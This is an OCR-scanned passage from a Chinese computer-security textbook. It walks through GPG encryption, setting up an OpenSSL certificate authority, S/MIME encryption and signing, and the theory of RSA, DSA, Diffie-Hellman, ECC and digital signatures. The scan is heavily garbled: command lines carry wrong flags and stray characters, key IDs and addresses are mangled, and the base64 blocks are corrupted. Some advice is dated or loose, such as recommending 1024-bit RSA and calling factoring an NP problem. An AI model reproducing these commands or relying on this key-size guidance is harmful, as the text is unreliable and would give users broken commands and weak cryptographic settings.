/root/ .gnupg/pubring.gpg 


pub 1024D/3FAF8118 2010-06-03 
uid ztguang (example) «jsjoscpus163.com» 
sub —1024g/9E4FFZFE 2010-06-03 


[rootelocalhost Desktop]é B 
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(4) 对 方 用 公共 密 钥 加 密 文件 

对 方 执行 gpg -ea -r 3FAF8118 gpg temp. txt 命令 对 gpg_temp. txt 文件 进行 加 密 。 命 
令 行 各 参数 含义 如 下 。 

-e: 代表 加 密 。 

-a: 代表 ASCII 格式 。 

ri 后 面 是 公共 密 钥 标 识 。 

3FAF8118: 为 密 钥 标识 。 

该 命令 执行 后 ,在 当前 目录 下 生成 了 一 个 同名 的 gpg_temp. txt. asc 文件 , 即 加 密 后 的 
文件 。 具 体 执行 过 程 如 图 3-104 所 示 。 


[roorelocalhost Desktop]# cat gpg_temp.txt 
psp jia jie mi shi yan!!! 

[rootelecalhost Desktop]f gpg -ca -r 3FAFS118 gpg temp.txt 
gpg? 9FAFF2FE : 没有 证 据 表 ， 


pub 1024g/9EAFF2FE 2010-06-03 ztguang (example) <jsjoscpuel63.com> 
主 铜 指纹; 8198 D64E 67AF 3779 8E78 7DEO BB48 DD79 3FAF 8118 
子 钥 指纹 : A093 D5B7 51BA A276 CSEA DB37 14A7 7452 9E4F F2FE 


这 把 密 铀 并 不 一 定 属于 用 户 标识 声称 的 那个 人 。 如 果 您 真 的 知道 自 
已 在 做 什么 ， 您 可 以 在 下 一 个 问题 回答 yes 。 


无 论 如 何 还 是 使 用 这 把 密 铀 吗 ? (y/N)y. 
[rootelocalhost Desktob]# cat gps temp.txt.asc -一 全 一 


-BEGIN PGP WESSAGE- 
ersion: GnuPG v1.4.5 (GNU/Linux) 


QEOAxSndFKeT/L*EAP/XVIXF2tQTZNOQUMI RTK£Zn9SW jpr sGpBLKXe129ViSaA 
HZFu20HBTek/fYDmeMeMVWalbg8saS4E+XYOSLdNzT/PNXBRbMRfwOUQeBWYSNc 
0d suSGKACTTIGHPDWMi Yr XJFwpWVHocOJAhzMKGg9FiGDI4+phaYt2Jm4GfSX8D 
22 JaPkP 14d T8SaxWAUuDyO f /VOSFx Yo49b.j1 QSdGekOzNi Fc 1nuGv4x/21/rN1 
aNTuQavQI xJe YtdAguUsT /RBXt k9EhxBOSqAtRL/DJuMv LjSXOAbrvF.J,j1U2BzO 
8lRrotzOISnxtuFYaP7abv61vjKsCI3JQ4S77Hyb/igO1BBjzhlICI tdy7UKeACa 
Xv26 YR39g wxQ19C4 QCBd£ SUt 1ygbNMVJnepPO/ULSVe2pWK jboDeohZ/u49N9nM 
AysyTUoDb*Qt2tMa*pCB40Gy6pn71 19cX90ZCAGbQaLg—— 


[rootelocalhost Desktop]s J 


图 3-104 用 公共 密 钥 加 密 文 件 


(5) 我 方 对 加 密 文 件 进行 解密 

我 方 收 到 gpg_temp. txt. asc 文件 后 ,执行 gpg -o gpg_temp2. txt -d gpg_temp. txt. asc 
命令 ,用 私有 密 钥 对 加 密 文件 进行 解密 。 命 令 行 各 参数 解释 如 下 。 

-o: 输出 文件 。 

-d: 表示 解密 。 

在 当前 目录 下 生成 了 解密 后 的 文件 tgpg_temp. txt。 具 体 执行 过 程 如 图 3-105 所 示 。 


[rootelocalhost Desktop]# gpg -o gpg temp2.txt —d gpg temp.txt.asc 


您 需要 输入 密码 ， 才 能 解 开 这 个 用 户 的 私 钥 : Ztguang (example) «jsjoscpuel63.com»" 
1024 位 的 ELG-E 密 钥 ， 铀 是 号 9E4FF2FE， 建 立 于 2010-06-03( 主 铀 是 号 3FAF8118) 


gpg: 由 1024 位 的 ELG-E 密 铀 加 密 ， 铀 是 号 为 9E4FF2FE、 生 成 于 2010-06-03 


itguang (example) «jsjoscpuel63.com»' 
[rootelocalhost Desktop]# cat gpg temp2.txt 


jia jie mi shi Mr CEWZEENG 
图 3-105 对 加 密 文 件 进行 解密 


2. 用 OpenSSL 加 密 文件 
OpenSSL 可 以 实现 消息 摘要 文件 的 加 密 和 和 解密、 数字 证 书 、 数 字 签 名 和 随机 数字 。 网 
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址 为 : http://www. openssl. org/。 

SSL 是 Secure Sockets Layer 的 缩写 ,是 支持 在 Internet. 上 进行 安全 通信 的 标准 ,并 且 
将 数据 密码 技术 集成 到 协议 中 。 数 据 在 离开 计算 机 之 前 被 加 密 , 然 后 只 有 到 达 它 预定 的 目 
标 后 才 被 解密 。 

(1) 安装 openssl-0. 9. 8n 


[root@ localhost Desktop]# tar - xzvf openssl- 0.9.8n.tar.gz 

[root8 localhost Desktop]# cd openssl- 0.9.8n 

[root@ localhost openssl- 0.9.8n]4 ./config - - prefix- /root/openssl 
[root localhost openssl- 0.9.8n]4 make 

[root localhost openssl- 0.9.8n]# make install 


(2) 产生 CA 证 书 

修改 一 /openssl/ssl/openssl. cnf 文件 中 的 一 行 ( 约 42 行 ) 为 : dir=/root/openssl/ssl/ 
misc/demoCA ,将 产生 的 CA 证 书 放置 在 /root/openssl/ssl/misc/demoCA TF. 

[root localhost openssl- 0.9.8n]# od /root/openssl/ssl/misc/ 

[root localhost misc]# cp ../openssl.cnf /etc/pki/tls/openssl.cnf 


[root localhost misc]# dir 
CA.p] CA.sh c hash c info c issuer c name 


执行 CA 证 书 产生 脚本 CA. sh, 如 下 所 示 : 


[root localhost misc]  ./CA. sh-newca 
CA certificate filename Cor enter to create) 


Making CA certificate .. . 

Generating a 1024 bit RSA private key 

"E doleo SEES Li INEO da SERA SMS Kec x dde Spe e dus 
writing new private key to ‘ /demoCA/ private/. /cakey. pem' 

Enter PEM pass phrase: 

Verifying-Enter PEM pass phrase: 

You are about to be asked to enter information that will be incorporated 

into your certificate request. 

What you are about to enter is what is called a Distinguished Name or a DN. 
There are quite a few fields but you can leave some blank 

For some fields there will be a default value. 

If you enter ' * ', the field will be left blank. 

Country Name (2 letter code) [AU]: CN 

State or Province Name (full name) [Some— State]: HN 

Locality Name (eg, city) [ ]:XX 

Organization Name (eg, company) [Internet Widgits Pty Ltd]; XXU 
Organizational Unit Name (eg. section) []:JSJ 

Common Name (eg. YOUR name) [ ]:ZTG 

E-mail Address [ ]:jsjoscpu( 163. com 


Please enter the following 'extra' attributes 
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to be sent with your certificate request 
A challenge password [ ]: 123456 
An optional company name [ ]: COMPUTER 


Enter pass phrase for . 


Signature ok 
Certificate Details; 
Serial Number; 
{2:01:3d:54:f6:16:bd:a9 
Validity 


Using configuration from /etc/pki/tls/openssl. cnf 
/ demoC A/ private/. /cakey. pem: 


Check that the request matches the signature 


Not Before: Jun 3 04:15:28 2010 GMT 


Not After : Jun 2 04:15:28 2013 GMT 

Subject: 
country Name = CN 
stateOrProvinceName — HN 
organizationName 一 XXU 
organizationalUnitName = JSJ 
commonName = ZTG 
emailAddress = jsjoscpu@163. com 


X509v3 extensions: 
X509v3 Subject Key Identifier; 
B8:AC:08:62:87:4C: BO: B3:D8: D3 :B9:84:6D:04:AA:66:3B:6F:11:F2 
X509v3 Authority Key Identifier: 
keyid: B8: AC:08:62:87:4C: BO: B3 : D8: D3: B9:84:6D:04: AA :66:3B:6F:11:F2 
DirName: /C— CN/ST— HN/O— XXU/OU-JS, — ZTG/emailAddress = jsjoscpu(? 163. com. 
serial: F2:01:3D:54:F6:16: BD: A9 
X509v3 Basic Constraints: 
CA:TRUE 
Certificate is to be certified until Jun 2 04:15:28 2013 GMT (1095 days) 


Write out database with 1 new entries 
Data Base Updated 
[root localhost misc] # 


[root@ localhost misc]# dir demoCA/ 
Cacert.pen careq.pen  certs crl  index.txt  index.txt.attr  index.txt.old  newcerts private 
serial 


cacert. pem 就 是 CA 证 书 ,CA 私 钥 存放 在 private 目录 。 

(3) 以 CA 产生 次 级 证 书 

在 CA 证 书 产生 之 后 ,就 可 以 产生 使 用 者 或 公司 所 需要 的 次 级 证 书 , 次 级 证 书 可 应 用 于 
数字 签名 或 https 等 ssl 传输 加 密 。 

CD 产生 使 用 者 的 密 钥 文件 及 CSR 文件 (Certificate Signing Request) 。 执 行 如 下 命令 : 


[root@ localhost misc]# ~ /openssl/bin/openssl req - nodes - new - keyout private key.pem - out private req. 
pem - days 3650 - config ~ /apenssl/ssl/openssl.cnf 


如 图 3-106 所 示 ,根据 提示 输入 相关 信息 。 
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[rootelocalhost misc]#“/openssl/bin/openssl req -nodes -new -keyout private. key.pen| 
-out private req.pem -days 3650 -config "/openssl/ssl/openssl.cnf 

Generating a 1024 bit RSA private key 

.HH 

writing new private key to "private key.pem" 


You are about to be asked to enter information that will be incorporated 
into your certificate request. 

What you are about to enter is what is called a Distinguished Name or a DN. 
There are quite a few fields but you can leave some blank 

For some fields there will be a default value, 

If you enter '.', the field will be left blank. 


Country Name (2 letter code) [AU]:CN 

State or Province Name (full name) [Some-State]:HN 
Locality Name (es, city) [ 
Organization Name (eg, company) [Internet Widgits Pty Ltd]:XXU 
Organizational Unit Name (eg, section) []:JSJ 

Common Name (eg, YOUR name) []:z1G xS 

Email Address []:jsjoscpuel63. 


Please enter the following 'extra' attributes 
to be sent with your certificate request 

A challenge password []:123456 

An optional company name [ 
[rootelocalhost miscl# $ 


图 3-106 产生 使 用 者 的 密 钥 文件 及 CSR 文件 


@ 产生 使 用 者 之 证 书 。 执 行 如 下 命令 : 


[root@ localhost misc] # ~ /openssl/bin/openssl ca - config ~ /openssl/ssl/openssl.cnf - policy policy - 
anything - out public key.pem - infiles private req.pem 


如 图 3-107 所 示 ,根据 提示 输入 相关 信息 。 


[rootelocalhost misc]f "/openssl/bin/openss! ca config "/openssl/ssl/openssl.cnf -D 

olicy policy anything -out public key.pem —infiles private req.pem 

Using configuration from /root/openssi/ssl/openssl.cnf 

Enter pass phrase for ./demoCA/private/cakey. pei 

Check that the request matches the signature 

Signature ok 

Certificate Details: 
Serial Numbe: 

£2:01:3d:54:£6:16:bd:aa 

Validity 


Not Before! Jun 3 0 38 2010 GMT 
Not After : Jun 3 0 38 2011 GMT 
Subject: 

countryName CN 
stateOrProvinceName HN 

localityName =x 
organizationName xxu 
organizationalUnitName JSJ 

commonName = 2TG 
emailAddress jsjoscpue163.com 


X509v3 extensions: 

X509v3 Basic Constraints: 
CA:FALSE 

Netscape Comment: 
OpenSSL Generated Certificate 

X509v3 Subject Key Identifier: 
23:30:8E:A3:77:2D:D2:58:94:84: 

X509v3 Authority Key Identifier: 
keyid:B8:AC:08:62:87:4C:B0:B3:D8:D3:B9:84:6D:04:AA:66:3B:6F:11:F2 


:38:00:D1:E7: 


:96:91:78:E3 


Certificate is to be certified until Jun 3 04:23:38 2011 GMT (365 days) 
Sign the certificate? [y/n]:y 


1 out of 1 certificate requests certified, commit? [y/n]y 
Write out database with 1 new entries = 
Data Base Updated 

[rootelocalhost misc]# M 


图 3-107 产生 使 用 者 之 证 书 
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© 文件 加 密 。public_key. pem 为 公开 密 钥 ,如 果 某 人 要 加 密 传 送 一 文件 , 则 可 以 用 公 
钥 public key. pem 加 密 文件 。 假 如 某 人 要 传送 的 文件 是 openssl_test. txt, 加 密 后 文件 名 
为 openssl_test. enc。 执 行 如 下 命令 即 可 : 

[root& localhost misc]# ~ /openssl/bin/openssl smime - encrypt - in openssl test.txt - out openssl test.enc 

public key.pem 

文件 openssl_test. txt 的 内 容 为 : openssl test shi yan!!! 

@ 文件 解密 。 收 到 对 方 发 过 来 的 加 密 文件 openssl_test. enc 后 ,执行 如 下 命令 直接 查 
看 其 内 容 , 如 图 3-108 所 示 。 


[rootelocalhost misc]# cat openssl_test.enc 

MIME-Version: 1.0 

|Content-Disposition: attachment; filename-"smime.p?n' 

Content-Type: application/pkcs?-mime; smime-type-enveloped-data; name-"smime.p7m" 
|Content-Transfer-Encoding: base64 


MI IBcgYJKoZIhvcNAQcDoI IBYzCCAVBCAQAxggENMI I BCOI BADByMGUxCz AJBgNV 
BAYTAkNOMQswCQYDVQQI Ew: I TjEMMAoGALUEChMDWFhVMQwwCg YDVQQLEwNKUOox 
DDAKBgNVBAMTAI pURZEfMBOGCSQGSIb3DQEJARYQanNqb3N.jcHVAMTYzLaNvbQI J 
APIBPVT2Fr2qMAOGCSQGSIb3DQEBAQUABI GAFQXv byO YFutB99cQvZVP3BIF9TCN 
dNdcHnszyPoGshXFwrAKtSdZDLZ/£ yLM6i D7 nnP14xCGi 9RNSFnSxADgOt RODBd 
bNYEHRUxedfPi3XzvkKhZjrRFi TuaqyOSySBUjTnHRXfc 7 *bnA£ TSmxl NVaB2OAZ 
VUY/ckg*GNcPXhowSQYJKoZLhvcNAQcBIBoGCCQGS IDSDONCMA4CAgCEBAjJZVzx 
wha8wdAgsD2LIVvuRBtmV5Vy6taUJJk+IbHTzSj2TjAG+56I+sWO= 


[rootelocalhost misc]& Bi 


图 3-108 X openssl test. enc 


[root@ localhost misc]£ less openssl test.enc 
如 图 3-108 所 示 为 密 文 , 不 知 其 意 。 因 此 需要 解密 ,执行 如 下 命令 ,用 私 钥 private key. 
pem 对 openssl_test. enc 文件 解密 : 


[root localhost misc]# ~ /openssl/bin/openssl smime - decrypt - in openssl test.enc - recip public key.pem 
-inkey private key.pem 


解密 出 来 的 明文 如 图 3-109 所 示 。 


I 

-recip public key.pem -inkey private_key.pem [| 
"t IERSEHNEI 

open hi van 被 解密 后 的 明文 

[rootelocalhost misc]& B Ü 


图 3-109 解密 出 来 的 明文 


3.4.4 非 对 称 加 密 算 法 


若 加密 密 钥 和 解密 密 钥 不 相同 ,从 其 中 一 个 难以 推出 另 一 个 , 则 称 为 非 对 称 密 钥 或 双 钥 
密码 体制 (也 称 公开 密 钥 体 制 ) ,这 是 1976 年 ,美国 学 者 Diffie 和 Hellman 为 解决 信息 公开 
传送 和 密 钥 管理 问题 ,在 (密码 学 的 新 方向 ) 一 文中 提出 了 公开 密 钥 密码 体制 的 思想 ,开创 了 
现代 密码 学 的 新 领域 。 与 对 称 加 密 算 法 不 同 , 非 对 称 加 密 算法 需要 两 个 密 钥 : 公开 密 钥 
(Public Key) 和 私有 密 钥 (Private Key) 。 公 开 密 钥 与 私有 密 钥 是 一 对 ,如 果 用 公开 密 钥 对 
数据 进行 加 密 , 只 有 用 对 应 的 私有 密 钥 才 能 解密 ;如 果 用 私有 密 钥 对 数据 进行 加 密 ,那么 只 
有 用 对 应 的 公开 密 钥 才能 解密 。 因 为 加 密 和 解密 使 用 的 是 两 个 不 同 的 密 钥 , 所 以 这 种 算法 


GE 
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称 为 非 对 称 加 密 算 法 。 基 本 原理 如 下 : 

假定 有 两 个 用 户 A 和 了 B, 每 个 用 户 都 有 两 个 密 钥 : 公开 密 钥 PA、PB 和 私有 密 钥 SA, 
SB。 由 公开 密 钥 P 无 法 求 得 私有 密 钥 S。 当 A 要 给 B 发 送信 息 时 , 它 用 公开 密 钥 PB 加 密 
信息 ,然后 将 密 文 发 送 给 B,B 用 私有 密 钥 SB 对 密 文 进行 解密 ,得 出 明文 。 因 为 SB 是 保密 
的 ,除了 B 之 外 ,其 他 人 无 法 得 到 或 求 出 ,从 而 满足 了 保密 性 要 求 。 

可 是 真实 性 无 法 保证 ,因为 PB 是 公开 的 ,任何 人 都 可 以 自称 是 用 户 A, 向 B 发 送 仿造 
的 密 文 。 为 了 实现 真实 性 要 求 ,A 可 以 用 自己 的 私有 密 钥 SA 加 密 信息 ,得 到 A 签名 的 文 
件 , 然 后 发 送 给 B,B 收 到 后 用 A 的 公开 密 钥 PA 验证 其 真实 性 。 除 了 A 之 外 ,其 他 人 都 不 
知道 SA, 因 此 无 法 冒充 A, 这 就 保证 了 信息 确实 是 A 发 出 的 , 即 保证 了 真实 性 。 

对 于 单 钥 体制 存在 的 问题 ,采用 双 钥 密码 体制 则 可 以 完全 克服 ,特别 是 多 用 户 通信 网 ， 
双 钥 密码 体制 可 以 明显 减少 多 用 户 之 间 所 需 的 密 钥 量 , 从 而 便于 密 钥 管理 。 采 用 双 钥 密码 
体制 的 主要 特点 是 将 加 密 和 解密 功能 分 开 ,因而 可 以 实现 多 个 用 户 加 密 的 消息 只 能 由 一 个 
用 户 解 读 , 或 只 能 由 一 个 用 户 加 密 消息 而 使 多 个 用 户 可 以 解读 。 非 对 称 加 密 算法 的 出 现 可 
以 有 效 解决 使 用 对 称 加 密 算 法 时 密 钥 分 发 与 管理 的 安全 隐患 。 

自从 1976 年 公 钥 密码 的 思想 提出 以 来 ,国际 上 已 经 提出 了 许多 种 公 钥 密码 体制 ,但 比 
较 流行 的 主要 有 两 类 : 一 类 是 基于 大 整数 因子 分 解 问题 的 ,其 中 最 典型 的 代表 是 RSA; 另 一 
类 是 基于 离散 对 数 问题 的 ,比如 ElGamal 公 钥 密码 和 影响 比较 大 的 椭圆 曲线 公 钥 密码 。 由 
于 分 解 大 整数 的 能 力 日 益 增强 ,所 以 对 RSA 的 安全 产生 了 一 定 的 威胁 。 目 前 768bit 模 长 
的 RSA 已 不 安全 。 一 般 建 议 使 用 1024bit 模 长 ,预计 要 保证 20 年 的 安全 就 要 选择 1280bit 
的 模 长 , 增 大 模 长 带 来 了 实现 上 的 难度 。 而 基于 离散 对 数 问题 的 公 钥 密码 在 目前 技术 下 
512bit 的 模 长 就 能 够 保证 其 安全 性 。 特 别 是 椭圆 曲线 上 的 离散 对 数 的 计算 要 比 有 限 域 上 的 
离散 对 数 的 计算 更 困难 ,目前 技术 下 只 需要 160bit 模 长 即 可 ,适合 于 智能 卡 的 实现 ,因而 受 
到 国内 外 学 者 的 广泛 关注 。 公 钥 密 码 的 快速 实现 是 当前 公 钥 密码 研究 中 的 一 个 热点 ,包括 
算法 优化 和 程序 优化 。 另 一 个 人 们 所 关注 的 问题 是 椭圆 曲线 公 钥 密码 的 安全 性 论证 问题 。 

双 钥 密码 体制 的 优点 是 可 以 公开 加 密 密 钥 ,适应 网 络 的 开放 性 要 求 , 且 仅 需 要 保密 解密 
密 钥 ,所 以 密 钥 管理 问题 比较 简单 。 此 外 , 双 钥 密码 可 以 用 于 数字 签名 等 新 功能 。 主 要 的 非 
对 称 加 密 算法 有 : RSA.DSA,DH 和 ECC, 


1. RSA 算法 


目前 应 用 最 广泛 的 非 对 称 加 密 算 法 是 RSA. 其 名 称 来 自 于 3 个 发 明 者 的 姓名 首 字母 。 
于 1978 年 ,由 美国 麻 省 理工 学 院 的 R. L. Rivest, A. Shamir fil L. Adleman 在 题 为 《获得 数 
字 签 名 和 公开 钥 密 码 系统 的 方法 ) 的 论文 中 提出 。 它 是 一 个 基于 数论 的 非 对 称 ( 公 开 钥 ) 密 
码 体制 ,是 一 种 分 组 密码 体制 。 它 的 安全 性 是 基于 大 整数 因子 分 解 的 困难 性 ,而 大 整数 因子 
分 解 问题 是 数学 上 的 著名 NP 问题 ,至 今 没有 有 效 的 方法 予以 解决 ,因此 可 以 确保 RSA 算 
法 的 安全 性 。RSA 算法 是 公 钥 系统 最 具有 典型 意义 的 方法 ,大 多 数 使 用 公 钥 密码 进行 加 密 
和 数字 签名 的 产品 和 标准 使 用 的 都 是 RSA 算法 。 

RSA 算法 是 第 一 个 既 能 用 于 数据 加 密 也 能 用 于 数字 签名 的 算法 ,因此 它 为 公用 网 络 上 
信息 的 加 密 和 鉴别 提供 了 一 种 基本 的 方法 。 它 通常 是 先生 成 一 对 RSA 密 钥 ,一 个 是 私有 密 
钥 , 由 用 户 保 存 ; 另 一 个 是 公开 密 钥 ,可 对 外 公开 ,用 对 方 的 公 钥 加 密 文件 后 发 送 给 对 方 ,对 


e» 


计算 机 安全 技术 


方 就 可 以 用 私 钥 解密 。 

RSA 体制 既 可 用 于 加 密 , 也 可 用 于 数字 签名 。RSA 在 世界 上 得 到 了 最 广泛 应 用 ,ISO 
在 1992 年 颁布 的 国际 标准 X. 509 中 ,将 RSA 算法 正式 纳入 国际 标准 。1999 年 ,美国 参议 
院 已 经 通过 了 立法 ,规定 电子 数字 签名 与 手写 签名 的 文件 .邮件 在 美国 具有 同等 的 法 律 效 
力 。 在 Internet 中 广泛 使 用 的 电子 邮件 和 文件 加 密 软件 PGP 也 将 RSA 作为 传送 会 话 密 钥 
和 数字 签名 的 标准 算法 。 


2. DSA 算法 


DSA Digital Signature Algorithm ,数字 签名 算法 ) 用 做 数字 签名 标准 的 一 部 分 , 它 是 另 
一 种 公开 密 钥 算 法 , 它 不 能 用 做 加 密 , 只 用 做 数字 签名 。DSA 使 用 公开 密 钥 ,为 接收 者 验证 
数据 的 完整 性 和 数据 发 送 者 的 身份 。 它 也 可 用 于 由 第 三 方 去 确定 签名 和 所 签 数据 的 真实 
PE, DSA 算法 的 安全 性 基于 解 离散 对 数 的 困难 性 ,这 类 签字 标准 具有 较 大 的 兼容 性 和 适用 
性 ,已 经 成 为 网 络 安全 体系 的 基本 构件 之 一 。 


3. Diffie-Hellman 密 钥 交换 


DH 算法 是 由 W. Diffie 和 M. Hellman 提出 的 。 此 算法 是 最 早 的 公 钥 算法 。 它 实质 是 
一 个 通信 双方 进行 密 钥 协定 的 协议 : 两 个 实体 中 的 任何 一 个 使 用 自己 的 私 钥 和 另 一 实体 的 
公 钥 ,得 到 一 个 对 称 密 钥 ,这 一 对 称 密 钥 其 他 实体 都 计算 不 出 来 。DH 算法 的 安全 性 基于 有 
限 域 上 计算 离散 对 数 的 困难 性 。 离 散 对 数 的 研究 现状 表明 : 所 使 用 的 DH 密 钥 至 少 需要 
1024bit EK ,才能 保证 有 足够 的 中 .长 期 安全 。 


4. ECC 算法 


1985 年 ,N. Koblitz 和 V. Miller 分 别 独立 提出 了 椭圆 曲线 密码 体制 (ECC) ,其 依据 就 
是 定义 在 椭圆 曲线 点 群 上 的 离散 对 数 问题 的 难 解 性 。 

非 对 称 加 密 算法 的 最 大 优点 就 是 不 需要 对 密 钥 通信 进行 保密 ,所 需 传输 的 只 有 公开 密 
钥 。 这 种 密 钥 体制 也 可 以 用 于 数字 签名 。 公 开 密 钥 体 制 的 缺点 在 于 加 密 和 解密 的 运算 时 间 
很 长 ,在 加 密 大 量 数 据 的 应 用 中 受 限 ,这 在 一 定 程 度 上 限制 了 它 的 应 用 范围 。 


3.4.5 混合 加 密 体 制 算法 
双 钥 密码 体制 的 缺点 是 密码 算法 一 般 比 较 复杂 ,加 密 、 解 密 速 度 较 慢 。 因 此 ,实际 网 络 


中 的 加 密 多 采用 双 钥 和 单 钥 密码 相 结合 的 混合 加 密 体 制 , 即 加 密 、 解 密 时 采用 单 钥 密码 , 密 
钥 传送 则 采用 双 钥 密码 。 这 样 既 解 决 了 密 钥 管理 的 困难 ,又 解决 了 加 密 、 解 密 速 度 的 问题 。 


3.5 数字 签名 
公 钥 密码 主要 用 于 数字 签名 和 密 钥 分 配 。 当 然 , 数 字 签 名 和 密 钥 分 配 都 有 自己 的 研究 


体系 ,形成 了 各 自 的 理论 框架 。 目 前 数字 签名 的 研究 内 容 非常 丰富 ,包括 普通 签名 和 特殊 签 
名 。 特 殊 签名 有 盲 签名、 代理 签名 、 群 签名 ,不 可 否认 签名 、 公 平 讶 签名、 门限 签名 、 具 有 消息 
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恢复 功能 的 签名 等 , 它 与 具体 应 用 环境 密切 相关 。 显 然 , 数 字 签 名 的 应 用 涉及 法 律 问 题 , 美 
国联 邦 政府 基于 有 限 域 上 的 离散 对 数 问题 制定 了 自己 的 数字 签名 标准 (DSS) ,部 分 州 已 制 
定 了 数字 签名 法 。 法 国 是 第 一 个 制定 数字 签名 法 的 国家 ,其 他 国家 也 正在 实施 之 中 。 在 密 
钥 管 理 方面 ,国际 上 都 有 一 些 大 的 举动 ,比如 1993 年 美国 提出 的 密 钥 托管 理论 和 技术 、 国 际 
标准 化 组 织 制定 的 X. 509 标准 以 及 麻 省 理工 学 院 开发 的 Kerboros 协议 等 ,这 些 工 作 影响 
很 大 。 密 钥 管 理 中 还 有 一 种 很 重要 的 技术 就 是 秘密 共享 技术 , 它 是 一 种 分 割 秘密 的 技术 , 目 
的 是 阻止 秘密 过 于 集中 ,自从 1979 年 Shamir 提出 这 种 思想 以 来 ,秘密 共享 理论 和 技术 得 到 
了 空前 的 发 展 和 应 用 ,特别 是 其 应 用 至 今 人 们 仍 十 分 关注 。 目 前 人 们 关注 的 是 数字 签名 和 
密 钥 分 配 的 具体 应 用 。 

Hash 函数 主要 用 于 完整 性 校 验 和 提高 数字 签名 的 有 效 性 ,目前 已 经 提出 了 很 多 方案 ， 
各 有 千秋 。 美 国 已 经 制定 了 Hash 标准 SHA-1 ,与 其 数字 签名 标准 匹配 使 用 。 由 于 技术 的 
原因 ,美国 目前 正 准 备 更 新 其 Hash 标准 ,另外 ,欧洲 也 正在 制定 Hash 标准 ,这 必然 导致 
Hash 函数 的 研究 特别 是 实用 技术 的 研究 将 成 为 热点 。 

数字 签名 技术 是 实现 交易 安全 的 核心 技术 之 一 , 它 的 实现 基础 就 是 加 密 技术 。 数 字 签 
名 能 够 实现 电子 文档 的 辨认 和 验证 。 数 字 签名 是 传统 文件 手写 签名 的 模拟 ,能 够 实现 用 户 
对 电子 形式 存放 消息 的 认证 。 


3.5.1 数字 签名 概述 


1. 基本 原理 


使 用 一 对 不 可 互相 推导 的 密 钥 , 一 个 用 于 签名 (加 密 ) ,一 个 用 于 验证 (解密 ) ,签名 者 用 
加 密 密 钥 (保密 ) 签 名 (加 密 ) 文 件 , 验 证 者 用 (公开 的 ) 解 密 密 钥 解密 文件 ,确定 文件 的 真 伪 。 
数字 签名 与 加 、 解 密 过 程 相反 。 散 列 函 数 是 数字 签名 的 一 个 重要 辅助 工具 。 


2. 基本 要 求 


CD 可 验证 : 签名 是 可 以 被 确认 的 ,对 于 签名 的 文件 ,一 旦 发 生 纠纷 ,任何 第 三 方 都 可 
以 准确 、 有 效 地 进行 验证 。 

(2) 防 抵赖 : 这 是 对 签名 者 的 约束 ,签名 者 的 认同 、 证 明 、 标 记 是 不 可 否认 的 ,发 送 者 事 
后 不 能 否认 发 送 文件 并 签名 。 

O 防 假冒 : 防止 攻击 者 冒充 发 送 者 向 收 方 发 送 文件 。 

(4) 防 自 改 : 文件 签名 后 是 不 可 改变 的 ,这 保证 了 签名 的 真实 性 、 可 靠 性 。 

CO 防伪 造 : 签名 是 签名 者 对 文件 内 容 合 法 性 的 认同 、 证 明和 标记 ,其 他 人 签名 无 效 。 

(6) 防 重复 : 签名 需要 时 间 标 记 , 这 样 可 以 保证 签名 不 可 重复 使 用 。 


3.5.2 实例 : 数字 签名 
数字 签名 允许 数据 的 接收 者 用 以 确认 数据 的 来 源 和 数据 的 完整 性 ,并 且 保 护 数据 ,防止 


被 人 (包括 接收 者 ) 进 行 伪造 。 
本 节 以 3.4. 3 小 节 的 中 OpenSSL 部 分 为 基础 。 
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1. 文件 的 数字 签名 
文件 的 签发 人 执行 如 下 命令 对 文件 openssl_test. txt 进行 数字 签名 ,签名 后 的 文件 为 


openssl_test. sig。 


[root@ localhost misc]# ~ /openssl/bin/openssl smime - sign - inkey private key.pem - signer public key.pem 
—inopenssl test.txt -out openssl test.sig 


执行 如 下 命令 查看 签名 后 文件 openssl_test. sig 的 内 容 , 如 图 3-110 所 示 。 


[root8 localhost misc]# cat openssl test.sig 


Te 


[rootélocalhost misc]? cat openssl test.sig 


MIME-Version: 1.0 
Content-Type: multipart/signed: protocol-'application/pkcs7-signature": 
micalgs"shal"; boundarys" :59D6857CF850952A91AT70D7SBDCD6B73" 


This is an S/MIME signed message 


|—----59D6h57CF850952 491 47007 5BDCDGB] 
epenss] test shi yan!!! 


------59D6B57CF850952A91 ATOD75BDCD0B73 
Content-Type: application/pkcs7-signature: name-"saime.p7s" 
Content-Iransfer-Encoding: base64 

Content-Disposition: attachment: filename-"snime.p?5" 


MI LE2AYJKoZ Ihvc NAQc Co l Ey TCCBMUCAQExCz AJBg UrDg MCGg U AMAsGCSqGS I b3 
DQEHAACCAtQwggLQMI ICOSADARECAgKABSgEO VPYWva0wDQYJKoZ Ihvc NAQEFBQAw 
ZTELMAKGAI UEBhNCQO4 xCzAJBgNVBAg TAkhOMQwwCg YDVQQKEvNYWFUXDDAKBgNV. 
BASTAOpTS jEMMAoGATUE AxMDWV ERIMRBwIHQY.TKo7 Ihve NAQkBFhBqe2 pve2NwdlAx 
NjMuY29 tMB4 XDTEwMDYwMz AOMjMzOFoXDTExMDYwMz AOMjMzOFowc jELMAKGA1 UE. 
BhMCQO4xCzAJBgNVBAg TAkhOMQswCQYDVQQHEwJYVDEMMAoGA] UEChMDWFh VMQww 
Cg YDYQQLEwNKUOoxDDAKBgNVBAMTAI pURzEfMBOGCSqGSIbSDQE JARYQanNqb3N.j 
c HVAMTYzLnNvbTCBnzANBgkqhk i GOwOBAQEFAAOBjQAwg YkCg YEAzmBKBSydJGtH 
Wir /JhXofac& LOEB Ned NZf f VOLKT2RVAPNBSNSKVaqNaEb Lr4QXgzZFMbUBMSZÓ 
*vxczuAVNJ4gwDf JsiSlloeySonAUIO/SK/c7ySnGI wpvQkNSKqEROVU JROO4Uf oS 
R5m*gWfh9ev502242UA18e7; BxxbThBCAwFAAaNTMHwCQYDYROTBAI wADAsBg 1g. 
hkgBhvhCAQOEHxYdT3B1b LNTTCBIZWS 1c sFOZWQgQ2 VydG1maVNhdGUwliQYDVROO 
BBYEFCMwjqN3LdJYLITIOADRSS i VkX,j,jMBSGA1Ud I wQYMBaAFLi SCGKHTLC22NOS. 
hGOEqnY7 bxllyMAOGCSqGS IbSDQEBBQUAA 1GBAHdOv J5d,jOUSSMa pxO-1U jOQAN1 MH 
HL33xfth6vHv+PpBLk6P7uDptoLq90NvX1CBn5EZgvPwqCcdQTS2d5F+HE Tjfo 
dY6yFogxXnkRDNULWG-TILUNZK9 LjEGE44f mdreh3C Lan6 JPhSw 1VSEHhWGMyktz: 
Ahy21jh2z7FvKNYbMYIBzDCCAcgCAQEwc JB1MQswCQYDYQQGEvJDT jELMAKGA] UE. 
